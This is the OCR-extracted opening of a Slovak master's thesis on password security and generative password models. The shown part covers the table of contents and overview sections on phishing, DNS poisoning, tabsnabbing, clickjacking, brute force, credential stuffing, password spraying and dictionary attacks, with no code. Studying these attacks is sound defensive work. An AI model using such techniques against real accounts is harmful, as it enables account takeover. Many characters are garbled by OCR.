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ABSTRAKT

Tato diplomové praca sa zaobera bezpe¢nost'ou hesiel a moznostami generovania novych
bezpecnych hesiel. Cielom prace bolo popisat’ problematiku hesiel a ich zranitelnosti,
analyzovat’ nastroje vyuzivané na generovanie hesiel, analyzovat’ uniknuté datové sady
s heslami a nasledne vybrat’ a naucit’ generativny model tak, aby bol schopny generovat’
bezpetné hesla. Vysledkom prace sU ukazky moznych utokov na hesl, analyzy hesiel
a nastrojov na ich generovanie, implementacia a ucenie generativneho modelu, ktory

generuje bezpecné hesla.

KIla¢ové slova: Heslo, Zranitel'nost, Generativny model, Analyza, Datova sada, Umela

inteligencia, Utok

ABSTRACT

This Master’s thesis deals with password security and possibilities of generating new
secure passwords. The objective was to describe the issues of passwords and their
vulnerabilities, analyze the tools used for password generation, analyze leaked datasets,
and subsequently select and train a generative model to be able to generate secure
passwords. The result of the thesis includes examples of possible attacks on passwords,
analyses of passwords and tools for their generation and the implementation of trained

generative model capable of generating secure passwords.

Keywords: Password, Vulnerability, Generative model, Analysis, Dataset, Artificial

intelligence, Attack



PODAKOVANIE A PREHLASENIE

Chcel by som podakovat’ vediicemu tejto prace panovi Ing. Milanovi Oulehlovi, Ph.D.
za cenné rady, odborné vedenie a ¢as, ktory mi v priebehu celého vypracovania prace
poskytoval.

Praca sa zaobera modernou témou, Vv ktorej u viacerych pojmov neexistuje slovensky

ekvivalentny vyraz s rovnakou semantikou, preto si v praci pouzité aj anglické vyrazy.



)Y/ 5 1RO 11
I. TEORETICKA CAST .....cooviiiiiiieeeeeeeeeee ettt 13
LITERARNA RESERS NA DANU TEMU.........ccoooioiiiieeeeieeeeeeeeee e 14

1.1 BEZPECNOST HESIEL A JEJ DOLEZITOST ......c.cccooovoviviviiiceeeee, 15
1.2 HESELNA ZRANITEDENOST A UTOKY ......c.cooooviiiiiceeeeeeeeeeee e 16
1.2.1  PHISHINGOVE UTOKY ...oovieiiicceceeeiees et en s, 16
1.2.11 DNS CaChe POISONING ....ccuvveiiiiiie i 17
1.2.1.2 URL HIJACKING ..ottt 18
1.2.1.3  Tabsnabbing.......cccooioiiiiiiii 19
1.2.14 UL TEAMESSING ...ttt 20

1.2.2  UTOKY HRUBOU SILOU (BRUTE FORCE) .......ccocvieeeeeeeereeeveeeen, 21
1.2.21 SIMPIE Brute FOICE ... 21
1.2.2.2 Credential StUTFING.........ccoiieeiiie e 22
1.2.2.3 PaSSWOId SPrayiNg .......cccueeeiiireiiiiieeiieeesieeesaeessiaeesseeeesneessseeesnsneens 22

1.2.3  SLOVNIKOVE UTOKY ..cocooiiiiiiiiiieiceee e 23
124 KEYLOGGING ...coovoiieeecceeteee ettt 24

1.3  OCHRANA HESLOM A AUTENTIFIKACIA ......ccooeeeeveeeeeeeeee e, 26
1.3.1  AUTENTIFIKACIA .....ooicececeeeeeeeeeeeee et 27
1.3.2  TWO-FACTOR/MULTI-FACTOR AUTHENTICATION (2FA/MFA) ..... 27
1.3.21  Nieco, ¢o vieme — Hesla, PIN kddy a bezpe¢nostné otazky ................. 27

1.3.2.2  Nieco, ¢o mame - Hardvérové alebo softvérové tokeny, certifikaty,
emaily, SMS spravy alebo telefdnne hovory ..., 28

1.3.2.3  Nieco, ¢o sme — Odtlacky prstov, rozpoznavanie tvare, sken oka alebo
dlane. 29

1.3.24 Lokéacia — Rozsahy IP adries alebo geolokacia............cccccccveevivieeinnnnn, 30
1.3.3  SINGLE SIGN-ON (SSO).....ccuiiiiiieiiieiiiiesie e se e sae e 30
1.3.4  BIOMETRIC AUTHENTICATION ....coiiiiiieiieciee e 32

1.3.4.1 Fyziologické metody biometrickej autentifikacie.............ccccoeevieeinnen, 33

1.3.4.2 Behavioralne metddy biometrickej autentifikacie ............cc.ccccoveeinnen, 34
1.3.5  TOKEN-BASED AUTHENTICATION......ccoeiiiiierir e 34

1.35.1 COoNNECLEA tOKEN......oiiiiiiiie s 35

1.3.5.2 CONLACLIESS TOKEN ... et 35



1.35.3 DiSCONNECTEA TOKEN ...ttt 35

1.4 POLITIKY HESIEL A ODPORUCANIA ........c.cocooiiiieeeeeeeeeeeeeeen 35
141  SECURE PASSWORDS......oootiiiiiiiiiie ettt a e 36
1.4.2 ENTROPIA HESLA ..o 36
1.4.3 PASSWORD GUIDELINES........oooiiiiieee e 39
144  AUTHENTICATION STANDARDS.......ootiiieeeiiiir e 40

1.44.1 Oauth Authorization standard.............ccccceeviiveiiine e 40
1442 OpenlD Connect Authentication Standard............cccccevvierieiiienieennn, 41
1.44.3 SAML Authorization and Authentication Standards.............ccccceveenne. 42

1.5 SIFROVANIE A UKLADANIE HESIE .....oovovivieieeeeeeeeeeeeeeeeeeeeeeen, 42
15.1 HASH L. 43
152  SALTING HESIEL ... 44
1.5.3 PEPPERING HESIEL........ccoiiieeee et 45
154 PRACOVNE FAKTORY ..ottt ettt 46
1.5.5  OSTATNE HASHOVACIE ALGORITMY ...covviviiiiececereieeeeeenen e, 47

I TR T A N o] o122 [ SR SUSTSRTR 47
1.5.5.2 01 Y/ 0| TSP P T PP TTPPPPPPPPPPR 47

1.6 SPRAVA A OBNOVENIE HESIEL......ccoovivvecceceeee e 48

1.6.1  PASSWORD MANAGEMENT TOOLS.......ccccoceiiiriiiieiie e 48
1.6.1.1 BIEWAITEBN. ...t 48
1.6.1.2 LPASSWOIT ...ttt ettt 48

1.6.2  OBNOVENIE HESIEL......cccoiiiiiieiieie e 49

1.7 HESELNA PSYCHOLOGIA A POUZIVATEDISKE NAVYKY.................. 50

171 PSYCHOLOGICKE FAKTORY OVPLYVNUJUCE TVORBU HESIEL . 50
1.7.1.1 Heuristika dOStUPNOSEI.........cccvvreiiiie e 51
1.7.1.2 Potvrdzovanie ZaujatoSti............cccveeiiireiiiee e 51
1.7.1.3 Predsudok OptiMIZIMU..........cooiviiiiie e 51

1.7.2  POUZIVATELSKE NAVYKY A CHYBY ...coooovviiiiiiiiieieeeeeeeeeeon, 51
1.7.21 Opétovné pouzivanie hesla..........c.ocoveiiiiiiiiii e, 51
1.7.2.2 SIADE NESIA ... 51
1.7.2.3 Zanedbanie aktualizacie hesla ............ccccooviiiiiiiii e 51

1.7.3  SOCIALNE INZINIERSTVO A PHISHING ......cooviririniininicinninieieins 52

1.8 UVOD DO GENERATIVNYCH MODELOV.......cccccooeiieieiceereeee e, 53



1.9  TYPY GENERATIVNYCH MODELOV .....ccocooviiiiieeieeeeeeeeese e 54
1.9.1  GAUSSIAN MIXTURE MODEL (GMM)......occovoviiiieiessiereeeesenseen, 54
1.9.2  VARIATIONAL AUTOENCODERS (VAE)......cccooiiiiiissereeeeeeereinen. 55
1.9.3  GENERATIVE ADVERSARIAL NETWORK (GAN) ......ccovvueverriieenann. 58
1.9.4  LONG SHORT-TERM MEMORY NETWORKS (LSTM) ......c.ccccvovvrunane. 59

I PRAKTICKA CAST ..ottt 65
2  ANALYZA EXISTUJUCICH RIESENI ......coiiiiiioeeeeeeeeeeeeeeeeeeeeeeeeeeees 66

2.1  NASTROJ NA ODHAD SILY HESLA - ZXCVBN.......c.ccocooiierirererseen. 66

2.2 AVAST — RANDOM PASSWORD GENERATOR.........ccoovveiisererrenen. 67

2.3 LASTPASS PASSWORD GENERATOR......c.cooiiieeiseeeeeeeeee e, 70

2.4  DASHLANE PASSWORD GENERATOR.......c.cociiieeiseeeeeeeeeeeeerereen, 74

25  STANFORD PWDHASH.......coooiiieeeeeeeeeeeeeeeeeeeeee e, 76

2.6 BITWARDEN PASSWORD GENERATOR ......ccccoviiieeteeeeeeeeeeerere e, 79

2.7  PASSGEN Al GENERATOR .......coiiotieeeeeeeeeeeeeeee e, 82

3 ANALYZA DATOVYCH SAD S UNIKNUTYMI HESLAMI ......ccccevevevrnnee, 86

3.1 VYHODNOCOVANIE SILY HESLA POMOCOU PASSWORD-

STRENGTH ..ottt ettt n et senen e 86

3.2 VYBER DATOVYCH SAD S UNIKNUTYMI HESLAMi .....cccccccoevevrnnne. 86

3.3  ANALYZA ZISKANYCH DATOVYCH SAD .....cccocovevererieeeeeeeer e, 88

34 VYSLEDKY ANALYZY DATOVYCH SAD S UNIKNUTYMI HESLAMI90
34.1 ANALYZA DATOVEHO SUBORU 10-MILLION-PASSWORD-LIST-
TOP-100000..........ceuererertererreeteeesessetsseseesesesesseessessestasessesteseessesseseeseesenseeesessnseeneas 90
3.4.2 ANALYZA DATOVEHO SUBORU PWNEDPASSWORDSTOP100K.... 92

4  VYBER GENERATIVNEHO MODELU ......c.cooooiieieeeeiereeeeeeeee e, 95

41  ANALYZA POUZITEDENOSTL .........c.cooiiivieeeeieeeeeeeseseee e, 95

5 TRENOVANIE GENERATIVNEHO MODELU.........cccccooovviiivieseereesesenne 97

5.1 MOZNOST POUZITIA EXISTUJUCICH DATOVYCH SAd..................... 97

52  TVORBA DATOVEJI SADY .....coooiiiiiiiiieeeieseesesenes s senss s, 99

5.3 UCENIE MODELU NA DATOVEJ SADE BEZPECNYCH HESIEL ...... 100

5.4 UCENIE MODELU NA FILTROVANEJ DATOVEJ SADE UNIKNUTYCH

15 = TR 104

6 VYHODNOTENIE BEZPECNOSTI .........oooviviiieeeeeeeeeeeee e 106

6.1 PRAKTICKA UKAZKA UTOKOV NA HESLA ............ccocoeveviirinrnnnen. 106



6.1.1  BRUTE FORCE.......c.ciiiiiiii e 106

6.1.1.1 Ukazka ¢innosti algoritmu Brute-Force UtoKU ............ccoccveiiiiiinnns, 106
6.1.1.2 Rozbor kodu algoritmu Brute-Force GtoKU ..........cccveeiveiieeiieiinecinnn, 109
6.1.2  SLOVNIKOVY UTOK ...coiiiiiriiiriiiriiisiseieisseissss s 111
6.1.2.1 Pripravenie slovnika pre GtoK ...........ccccoviiiiiieiien i 111
6.1.2.2 Rozbor kodu slovnikoveho UtOKU ..........ccccoviiieiiiiiic e, 115
6.1.3 KEYLOGGER ...t 117
6.1.3.1 Ukazka ¢innosti Keyloggert ... 118
6.1.3.2 ROZbOr KOAU KEYIOGQEIU ... 121
B.1.4  HASH C AT ..o a e e 123
6.2 VYHODNOTENIE BEZPECNOSTI HESIEL VYGENEROVANYCH
MODELOM ...t e e e e e e e e e e e e e e e e e e s e e eeeeeas 128

6.2.1 MODEL NAUCENY NA VLASTNEJ DATOVEJ SADE BEZPECNYCH
HESIEL 128

6.22 MODEL NAUCENY NA FILTROVANEJ DATOVEJ] SADE

UNIKNUTYCH HESIEL ..o esn s 132
6.2.3 ANALYZA HESIEL GENEROVANYCH MODELOM.........ccocovrvren. 134

7 IMPLEMENTACIA NASTROJA PRE GENEROVANIE HESIEL................... 138
7.1  GRAFICKY DIZAIN GENERATORA .......cccoooviveieeeeeseeesereresen s 138
7.2 PRINCIP FUNGOVANIA GENERATORA.......cocooiieeeieeereeee e, 139
721  PROGRAMOVA IMPLEMENTACIA GENERATORA .......c.cooovvrrennnns 140

7.3 VYSLEDNA APLIKACIA ....oooeeeeeeeeeeeeeeee et 144
ZAVER ..ottt 147
ZOZNAM POUZITEJ LITERATURY .....cocooiiiiiiiieiiiceee e, 149
ZOZNAM POUZITYCH SYMBOLOV A SKRATIEK ........ccooovveviisrereeesenrninen, 158

ZOZNAM OBRAZKOV .....cooviiiiieiieeeeeeeee ettt 161



UTB ve Zliné, Fakulta aplikované informatiky 11

UvoD

V dnesnej dobe ma kazdy z nas ucet, ktoré je chranené heslom. Kamkol'vek sa chceme
prihlasit, je vyzadované zadanie hesla pri¢om, niekedy musi vytvorené heslo spliiiat’ ur¢ité
poziadavky, napriklad musi obsahovat’ ¢isla, vel'ké pismena ¢i dokonca Specidlny znak.

V praci je vysvetlena doleZitost’ bezpe¢ného hesla, principy ako vytvorit’ bezpecné heslo,
¢1 dosledky a mozné rizikd spojené s pouzivanim nedostatocnych hesiel.

Urcite je mozné si v§imnut’ neustaly pokrok vypocetného vykonu, aj ked Moorov zakon uz
neplati tak ako kedysi apokrok nie je tak vyrazny, kazdy rok su predstavované
vykonnejSie procesory, vdcSie pamdte a vyspelejSie verzie umelej inteligencie, pricom
kazdy z tychto faktorov predstavuje hrozbu pre hesla. Vsetky tieto uvedené skutocnosti
nazna¢uju dolezitost’ problematiky tvorby bezpe¢nych hesiel.

Podl'a ¢lanku ,,50+ Password Statistics: The State of Password Security in 2023 [1]
zverejnil ziskané odpovede respondentov na tématiku hesiel, az 30% uzivatel'ov internetu
zazilo nejaka formu uniku udajov v dosledku slabého hesla. Viac ako 66% Ameri¢anov
pouziva na viacerych uctoch rovnaké heslo a 59% dospelych l'udi v USA pouziva vo

svojom hesle datum narodenia alebo meno.

V poslednej dobe sa oblast’ strojového ucenia vyrazne posunula v oblasti generativneho
modelovania, schopnost’ uéit’ sa z idajov na generovanie komplexnych vystupov ako su
obrazky alebo text vo forme prirodzeného jazyka. Generovanie textu funguje pomocou
algoritmov a jazykovych modelov na spracovanie vstupnych dat s cielom generovania
textu na vystupe. Zahfia trénovanie modelov Al (Artificial Intelligence) na velkych
suboroch Gdajov, s cielom naucit’ sa vzorce, gramatiku a podobne. Tieto modely potom
pouzivaju naucené znalosti na generovanie nového textu na zéklade zvolenych parametrov
a podmienok. Jadrom generovania textu su jazykové modely ako napriklad GPT
(Generative Pre-trained Transformer), ktoré boli trénované na velkom mnoZstve dat
z internetu. Tieto modely vyuzivaji deep learning a neurOnové siete na pochopenie

Struktury viet a nasledné vytvorenie savislého zmyslupIného textu. [2]

V teoretickej Casti je praca primarne zamerand na vysvetlenie problematiky hesiel, popisu

moznych tokov na hesla, ich zranitelnosti ¢i iné sposoby autentifikacie. Taktiez suU
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priblizené niektoré generativne modely a popisané kl'aicové prvky ako hashovanie, salting,

pripadne obnova hesiel a podobne.

V praktickej Casti sa praca venuje analyzam uniknutych datovych sad, analyze existujdcich
nastrojov sluZiacich na generovanie hesiel a nauceniu vlastného generativneho modelu,
pomocou ktorého su nésledne vygenerované hesla, ktoré si podrobnej$ie analyzované

a porovnané s heslami generovanymi standardnymi metédami a algoritmami.
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. TEORETICKA CAST
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1 LITERARNA RESERS NA DANU TEMU

Problematiku bezpecnosti hesiel, politik hesiel a spésoby ich tvorby riesi mnozstvo
prameiiov. Clanok Balancing Password Security and User Convenience: Exploring the
Potential of Prompt Models for Password Generation [3] spomina problematiku
generovania hesiel pomocou modelu ChatGPT, kde si zaznamenané vysledky prieskumu
pouzitel'nosti vygenerovanych hesiel a zdroven priblizené bezpecnostné tiskalia, ktoré tento
druh tvorby hesiel prinasa, ¢o je pri realizovani tejto prace velmi prinosné. Dalej tento

¢lanok rozobera pomyselnt hranicu medzi zapamaétatel'nost'ou a bezpecnost'ou hesiel.

Clanok Investigating the Password Policy Practices of Website Administrators [4] sa
zaobera vySetrovanim heselnych politik réznych webov, metodikou tvorby password
policies, okrem toho zahifia dotaznik od TI'udi z r6znych vekovych kategérii a odvetvi
zamerania, ¢o nam dava informéacie o pristupe k tejto problematike z pohl'adu réznorodosti
uzivatel'ov. Tektiez rozobera rozne faktory, pritomné pri rozhodovani o heselnej politike,
¢im poskytuje dobry prehl'ad o moznostiach a Standardoch tvorby hesiel, ktoré su

napomocné pri vyhotoveni tejto prace.

Danej problematike sa venuje cela rada knih, napriklad kniha Generative Deep Learning:
Teaching Machines To Paint, Write, Compose, and Play [5] ponuka detailné informacie
o fungovani generativnych modelov umelej inteligencie, spsoboch ucéenia a ich uplatnenie
v roznych typoch uloh. Ked’ze stcastou tejto prace sU aj generativne modely, tento ¢lanok

je dobrym obohatenim vedomosti.

Dalsou velmi dobrou knihou je Making Passwords Secure: Fixing the Weakest Link in
Cybersecurity [6], ktora sa potyka s kli¢ovymi problémami overovania a hovori o tom,
preco pouzivatel'ské meno a heslo v dohl'adnej dobe nezmiznu a vysvetl'uje, ako mézu byt
zabezpecené. Odhal'uje mnohé z mytov o neomylnosti okolo viacfaktorovej autentifikacie
a inych technologickych rieseni. Tento pohlad teda poskytuje informacie o kl'i¢ovosti

spravy hesiel a ich sifrovani, ¢o st pre tuto pracu vel'mi prinosné informacie.

V ramci reSerSe SU spracované aj d’alsie zdroje ako je napr. OWASP a podobne. OWASP
je vramci cybersecurity vel'mi reSpektovany a doveryhodny zdroj, uzndvany aj napr.

Microsoftom.
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1.1 Bezpecnost hesiel a jej dolezitost’

Autentifikacia je proces overovania udanej identity uzivatel'a a je jednym z najdéleZitej$ich
procesov V pocitacovej bezpecnosti. Aj ked’ pouzitie beznych textovych hesiel je dobre
zname a prestudované, tento typ autentifikacie ma urcité uskalia. V priebehu rokov boli
predstavené alternativne spdsoby, s cielom vylepsit' bezpe¢nost’ a pouzitelnost’ hesiel.
V rdmci tychto navrhov boli predstavené rozne grafické hesla, autentifikacia zalozena na
lokacii a podobne, no Ziadny z tychto navrhov nepredbehol $tandardny textovy format
hesiel. Jednoduchost’ a dostupnost’ pisania sekvencie znakov s cielom autentifikacie je
najjednoduchsia moznost’, comu nasvedCuje aj fakt, Ze tento spdsob autentifikacie je stale
nejpouzivanej$im mechanizmom vo webovych aplikaciach, a pravdepodobne nim aj

v blizkej buddcnosti zostane.

Z pohladu pouzitelnosti su vSak textové hesla ako forma autentifikacie problematicka.
Dobré heslo by malo byt sudasne I'ahko zapamétatelné a tazko uhadnutelné. Co vytvara
urcity paradox, pretoze l'ahko zapamdtatelné hesld st vicSinou kratke, alebo obsahuji
slova prirodzeného jazyka. Co sposobuje nachylnost’ na slovnikové Utoky vid® kapitola
1.2.3. Lahko zapamitatelné hesla Casto obsahuji osobné informacie ako roky, mena
a podobne, ¢o ich t.iez vystavuje riziku uhaddnutia. Heslda mézu byt povazované za riziko
z pohl'adu bezpecnosti, pretoze existuje moznost’ na ich prelomenie pomocou utokov. Tato
zranitelnost’ je primarne spdsobena spravanim pouzivatela ato prave kvoli
zapamitatelnosti. Dal§ou chybou z tohoto hl'adiska je zdiel'anie hesiel, ich pouZivanie na
viacerych Gc¢toch, vyber slabého hesla, zapisovanie na papiere a podobne. Suhrnne tieto

chyby volame ,,chyby l'udského faktoru®.

Aj ked’ je dolezity vyber silného hesla pre ochranu svojich udajov a dat, vac¢sinou chyba
usmernenie alebo rady na tvorbu hesiel, ktoré by im pomohli a motivovali k vytvaraniu
bezpecnych hesiel. Bezné odporucania zafnaju, Ze heslo by malo obsahovat’ kombinaciu
roznych mnozin znakov a nemalo by obsahovat’ zmysluplné slova zo slovnikov. Podobné
odporucania sa tiez nachadzaju na webovych strankach, v dokumentoch o politik&ch hesiel
a mnohych dalsich ¢lankoch zameranych na bezpecnost' hesiel. Bohuzial' ale vécsina

pouzivatel'ov nevykazuje bezpecné spravanie a nasledne si vybera slabé hesla. [7]
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1.2 Heselna zraniteP’nost’ a utoky

V predoslom oddieli boli spomenuté zraniteI'nosti hesiel spdsobené l'udskym faktorom.
V tomto oddieli sU teoreticky rozobraté typické ttoky na hesla, ktorych uspes$nost’
vyznamne narasta s pouzitim slabych hesiel. Utoky na hesla kombinované s automatickymi
nastrojmi, ktoré zrychlia proces hadania a lamania hesla, pouzitim r6znych technik na
pristup a odhalenie prihlasovacich udajov pouzivatela a ndsledny pristup k ich identite

a privilégiam. [9]

Utoky na hesla maju asto d’aleko siahajuce dosledky a mozu zostat’ dlho v utajent, pretoze
uto¢nik pozaduje len neautorizovany vstup k jednému privilegovanému uctu s cielom

kompromitacie webu alebo zisku citlivych tdajov. [9]

Samostatne stojaca zranitel'nost’, ktora sa vSak nevztahuje na chybu pouzivatela, prave
naopak, na chybu programéatora sa nazyva Hardcoded Credentials. Tato zraniteInost’ je
vel'mi jednoduchd, avSak o to nebezpecnejsia. Jedna sa o bud’ imyselne ponechané alebo
zabudnuté prihlasovacie Udaje v zdrojovom kdde aplikéacie. Jedna sa o napevno napisané

prihlasovacie udaje v zdrojovom kdde. [8]

Ako dalSie st hrozby na strane pouzivatela, ¢i uz rozne hackerské utoky, alebo social
engineering, teda utok na najslabsi ¢lanok, Cloveka. NajtypickejSie utoky cielené na hesla

su nasledovné.

1.2.1 Phishingové utoky

Phishingové Utoky su ¢astou formou atokov na hesla, tento utok spravidla zahfia techniku,
pri ktorej sa uto¢nik snazi podvrhnutou strankou oklamat’ obet’ tak, aby ju pokladala za
legitimnu stranku. Obet’ predpoklada, Ze sa autorizuje na legitimnom webovom serveri

klikne na odkaz a poskytne tak uto¢nikovi svoje citlivé udaje.

Pri phishingovych Gtokoch a presvedéeniu obete, aby klikla na $kodlivy obsah sa pouziva

viacero stratégii a spdsobov. Najéastejsimi su napriklady nasledujice nizsie: [9]
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1.2.1.1 DNS cache poisoning

Tento typ Utoku spolieha na zadavanie podvrhnutych dat do vyrovnavacej pamati (cache)
DNS(Domain Name Server), takze dotazy DNS vracaju nespravnu odpoved’ a obet’ je
presmerovana na nespravnu webovu stranku. Tento typ Utoku je znamy aj ako ,,DNS
spoofing“. Standardne nie je mozné pre DNS resolvery verifikovat’ data v ich vyrovnavacej
pamaéti, preto tam nespravne DNS informacie mézu zotrvat’ az pokial nevyprsi ich TTL
(Time To Live), alebo nie si manualne odstranené. Utoénik moze upravit’ aj obsah stiboru
[etc/hosts (Linux/Mac) pripadne na C:\Windows\System32\drivers\etc (Windows) tak, aby
presmeroval Ziadosti o urcité doménové meno na podvrhnutu IP adresu, ktora patri
uto¢nikovi. Viacero zranitel'nosti umoziuje tento typ utoku, avsak hlavnym problémom je,
ze DNS bol navrhnuty pre mensi Internet a bol postaveny na principe dovery. Spésobom
ako sa tymto utokom branit’, je pouzitie bezpecnejSicho DNS protokolu zvaného DNSSEC,

avsak jeho pouzitie doposial’ nie je globalne rozsirené. [10]

"“What's the IP for

example.com?” “
L R
T » "192.0.0.16"
N,
Authoritative
DMS server nameserver

“Hey, |lam an

"What's the IP for autharitative

nameserver.

an
example.com? IP address is
\ 9 192.0.017"

Attacker

Obrazok 1. Proces Cache Poisoningu [10]
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"“What's the IP for

example.com?"

i
“192.0.0.17" L

» [Cached)
Ny
User DMS server
example.com Malicious website
IP address: 192.0.0.16 IP address: 192.0.0.17

Obrazok 2. Poisoned DNS cache [10]

1.2.1.2 URL Hijacking

Tiez znamy ako Typosquatting je druh utoku zaloZeny na ,,sedeni® na tzv. preklepovych
doménach. Zameriava sa na pouzivatel'ov internetu, ktory nespravne napiSu adresu webu
do prehliada¢a napr. ,,facebok.com® miesto ,,facebook.com®. Po zadani tejto zlej adresy
moze byt uzivatel presmerovany na alternativnu webova stranku, navrhnutu uto¢nikom

pre skodlivé ucely.

Hackeri ¢asto vytvaraju faloSné weby, ktoré napodobnuju vzhl'ad ciel'ovej stranky, takZe si
obet’ mozno neuvedomuje, Ze je na inej stranke. Niekedy tieto stranky sluzia na predaj
produktov a sluzieb, priamo konkurenéné tym, ktoré sa predavaji na webovych strankach,
ktoré obet’ chcela navstivit. NajcastejSie su ale vytvorené s cielom odcudzenia osobnych
identifikaénych udajov vratane kreditnych kariet alebo hesiel. Jedind funk¢na obrana voci
tomuto problému je I'udskd obozretnost’ a doslednost’ kontroly toho, na akom webe sa

nachadzame. [11]
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1.2.1.3 Tabsnabbing

Tabsnabbing je formou kybernetického utoku, kde uto¢nik vyuziva déveru pouzivatela vo
svoje otvorené karty v prehliadaci. Ked pouzivatel' opusti kartu s urcitou webovou
strankou a neskor sa na fu vrati, tato strdnka moéze byt zmenena na falo$nu, napriklad
phishingovl stranku. KedZe pouzivatel bol povodne na spravnej stranke, je len mala
pravdepodobnost’ toho, Ze si v§imne presmerovanie na phishingovu stranku, obzvlast' ak
vyzera rovnako. Ak sa pouzivatel’ prihlasi na tejto podvrhnutej stranke, jeho citlivé udaje

sa odosla uto¢nikovi.

Okrem toho, zZe ciel'ova stranka moze byt prepisana, moze byt prepisany aj akykol'vek http
odkaz, ak sa pouZzivatel’ nachadza v nezabezpecene;j sieti, napriklad na verejnej Wifi. Tento
utok je potom mozny aj ak je cielova stranka dostupna len cez https, pretoze ito¢nikovi
stadi sfalSovat http stranku na ktora sa odkazuje. Utok je mozny pouzitim target intrukcie
v odkaze html, alebo otvoreny odkaz window.open v Javascripte. [12]

ZraniteI'na stranka moze vyzerat’ napriklad takto.

Obrézok 3. Kéd zranitel'nej stranky pomocou tabsnabbingu [12]
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1.2.1.4 Ul redressing

Znamy aj ako Clickjacking je utok, pri ktorom uto¢nik pouzije viacero priehladnych alebo
nepriehl'adnych vrstiev na oklamanie pouzivatela tak, aby klikol na tlacidlo alebo odkaz na
inej stranke, aj ked’ mal v plane kliknat’ na pdvodny origindlny odkaz na stranku ,,najvyssej
trovne*. Utoénik teda unesie kliknutia uréené pre pdvodna stranku a nasmeruje ich na ind

b119

stranku, vdcsinou vlastnent inou doménou. Pomocou tejto techniky je mozné ,uniest™ aj
stlacenia klaves, kde mdze byt uzivatel’ presvedCeny, Ze zadava heslo do svojho emailu

alebo uctu a pritom vpisuje toto heslo do neviditelného pola, ktoré kontroluje utocnik.

Obranou voc¢i tomuto utoku je odosielanie spravnych CSP (Content Security Policy), teda
priame response headers, ktoré instruujii prehliada¢ aby nepovolil zobrazovanie prvkov
z inych domén. Dalej je ddlezité spravne nastavenie autentikaénych cookies pomocou
SameSite=Strict alebo pri vyvoji Ul pouzivat’ defenzivne techniky, ktoré zaruéia, ze nasa

stranka bude vzdy vrchnou vrstvou. [13]
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HOW CLICKIJACKING WORKS

Fraudsters place
clickjacking “"estate” on
top of an ad placemen

Users visit the page where
the ad is placed
~
> <

Step1 Step 2

Attacker ) Victim
Website

Step 3

Users click on the ad and are redirected
to a page not related to the ad - this is the
point where they have been “clickjacked”

|

Attacker's
website

Obrazok 4. Priebeh Clickjacking utoku [14]

1.2.2  Utoky hrubou silou (Brute Force)

Tento typ utoku spolieha na metodu pokus-omyl na uhadnutie pouzivatelovych
prihlasovacich tidajov. Na tento utok su ¢asto pouzivané automatizované skripty navrhnuté
s cielom prejst’ ¢o najviac permutécii a tak uhadnut’ pouzivatel'ove heslo. Tato metoda je
relativne stard a vyzaduje mnozstvo casu, pretoze pri komplexnych heslach je casova

naro¢nost’ prelomenia ovel'a vyssia. NajcastejSimi typmi tohoto titoku st tieto. [9]

1.2.2.1 Simple Brute Force

Pri tomto utoku st cielom jednoduché a predvidatel'né hesla, ktoré postradaju

komplexnost’ vo forme velkych pismen a kombincii réznych mnozin znakov. Typicky
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zranitel'né su hesla ako ,,password*, ,,123456%, a podobne. Tieto jednoduché hesla mézu
byt prelomené uz do par mintt ak to¢nik disponuje dostatocnym vypoctovym vykonom.
V roku 2012 bol vyskumne pouzity cluster pocitacov, ktory dokazal prelomit’ az 350

miliard hesiel za sekundu. [15]

1.2.2.2 Credential stuffing

Credential stuffing je automatizované ,injectovanie® ukradnutych pristupovych Udajov,
resp. ich kombinacii do prihlasovacich okien webstranok, s cielom ziskat’ pristup
K pouzivatelovmu uctu. V tomto pripade sa stava kIiCovym prave to, ze mnoZstvo
pouzivatelov pouziva rovnaké prihlasovacie udaje na viacero uctoch . Ak sa stane, Ze tieto
Gdaje uniknu, vkladanim ukradnutych dajov do stoviek réznych stranok moéze ttocnik

ziskat’ pristup k d’alSim uctom na inych strankach.
Postup utoku:

1. Utoénik nadobudne pouzivatel'ské mena a hesla z datového Uniku, phishingového
utoku alebo iného zdroja.

2. Nasledne pouzije automaticky ndstroj na vyskaSanie zadania tychto udajov do
mnozstva webovych stranok.

3. Ak je prihlasenie uspesné, utocnik vie, Ze nasiel spravny par prihlasovacich udajov.

[16]

1.2.2.3 Password Spraying

Druh BF (Brute-Force) Utoku, pri ktorom tto¢nik hrubou silou sku$a a h'ada kombinaciu
pouzivatel'ského mena, a nejakého konkrétneho hesla. Napriklad pouZzivatel’ pouzije jedno
heslo ,password123“ voci mnozZstvu réznych uctov. Tato technika sa vyuziva kvoli
bezpe¢nostnému mechanizmu, ktory zamkne (et po uréitom pocte netspesnych
prihlaseni. BeZzne moéze byt tento Utok ndjdeny pri aplikéciach, kde admin nastavuje

defaultné heslo pre novych uzivatel'ov. [17]
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Login
Username Brute
Forced
Password Constant
Submit

Obrazok 5. Princip utoku password spraying [17]
1.2.3 Slovnikové atoky

Slovnikovy tutok je metdda systematického hadania hesla pomocou skusania bezne
znamych hesiel a ich jednoduché varianty. Utoénici maja k dispozicii rozsiahle zoznamy
tychto hesiel obsahujuce Casto sa vyskytujice mend, popularne postavy alebo slova zo
slovniku. Utoénici pouZivaji tento Gtok na pristup k online Gétom, alebo na deSifrovanie.
Mnoho T'udi aj napriek zabezpeCenym kontdm, pouZziva pre zdielané subory jednoduché
hesla, prave vyhovujiice tomuto typu uUtoku. Pokial’ st tieto Sifrované stubory poslané
nezabezpecenym spojenim, utoénik sa k nim moze dostat’ a nasledne ich desifrovat’ ak je

pouzité slovnikové slovo.

Pri tomto type Gtoku program postupne vklada slova zo zoznamu ako hesla. Tento typ
utoku moéze byt prevedeny online aj offline. Slovnikové toky sa vyskytujd vo viacerych
variantach, bud’ sa hadaju len Standardné slova zo slovnika, ¢o je jednoduchy slovnikovy
utok. Pokrocilej§imi verziami moézu byt Utoky zahffiajuce kombinacie slov a Cisel,
pripadne znakov, s cielom vytvorenia rozmanitejSich hesiel, alebo moznost' modifikacie

slov nésledovne ,,password — p@sswOrd*. [18]
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1.2.4 Keylogging

Aj ked’ sa praca zaobera bezpe¢nost'ou hesiel a popisuje spésoby vytvarania odolnych
hesiel, je dolezité uvedomit’ si ze hrozby ako keylogger existuju a su schopné obist
akékol'vek heslo. Ked’ze funguji spésobom odposluchu, komplexnost’ hesla je v tomto
pripade irelevantna a keylogger dokaze zachytit’ heslo s akoukol'vek silou.

Keylogger je malvérovy rootkit, zaznamenavajuci aktivitu pouzivatel'a bez jeho vedomia.
Je schopny zachytit’ akékol'vek stlaenia klaves na pocitaci. V dnesnej dobe st keyloggery
vyspelé a sofistikované.

